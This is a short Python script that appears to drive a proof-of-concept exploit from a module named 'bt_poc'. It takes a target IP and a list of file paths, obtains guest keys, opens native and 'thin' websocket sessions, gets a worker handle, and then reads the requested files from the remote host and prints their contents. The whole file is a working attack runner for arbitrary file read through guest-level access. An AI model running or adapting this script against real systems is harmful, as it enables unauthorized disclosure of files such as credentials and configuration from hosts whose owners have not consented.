import asyncio, sys, base64
import aiohttp
import bt_poc as B

async def main(ip, paths):
    base='https://'+ip
    conn=aiohttp.TCPConnector(limit=4, force_close=True)
    async with aiohttp.ClientSession(connector=conn) as s:
        site = await B.site_info(s, base)
        nk = await B.guest_key(s, base, 63)
        tk = await B.guest_key(s, base, 63)
        w = await B.open_ws(s, base, site[0], site[1], False)
        c, h = await B.native_setup(w, nk)
        tw = await B.open_ws(s, base, site[0], site[1], True)
        await B.thin_setup(tw, tk)
        worker = await B.get_worker(c, h, tk)
        for p in paths:
            try:
                data = await B.read_file(c, worker, p)
                print("=== %s (%d)" % (p, len(data)))
                try:
                    txt = data.decode('utf-8')
                    print(txt[:1200].replace('\x00','\\0'))
                except Exception:
                    print(repr(data[:400]))
            except Exception as e:
                print("=== %s FAIL %s %s" % (p, type(e).__name__, e))
asyncio.run(main(sys.argv[1], sys.argv[2:]))
